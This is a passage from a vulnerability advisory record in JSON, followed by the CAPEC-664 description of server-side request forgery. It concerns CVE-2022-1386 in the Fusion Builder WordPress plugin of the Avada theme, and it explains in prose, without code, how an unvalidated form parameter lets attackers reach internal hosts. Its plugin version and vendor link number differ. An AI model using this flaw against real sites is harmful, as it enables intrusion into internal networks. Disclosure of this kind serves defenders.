"details": "The Fusion Builder WordPress plugin before 3.6.2, used in the Avada theme, does not validate a parameter in its forms which could be used to initiate arbitrary HTTP requests. The data returned is then reflected back in the application\u0027s response. This could be used to interact with hosts on the server\u0027s local network bypassing firewalls and access control measures.",
"id": "GHSA-4gm2-r6xm-jqxh",
"modified": "2024-03-14T21:30:50Z",
"published": "2022-05-17T00:01:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1386"
},
{
"type": "WEB",
"url": "https://theme-fusion.com/version-7-6-2-security-update"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/bf7034ab-24c4-461f-a709-3f73988b536b"
},
{
"type": "WEB",
"url": "https://www.rootshellsecurity.net/rootshell-discovered-a-critical-vulnerability-in-top-wordpress-theme"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.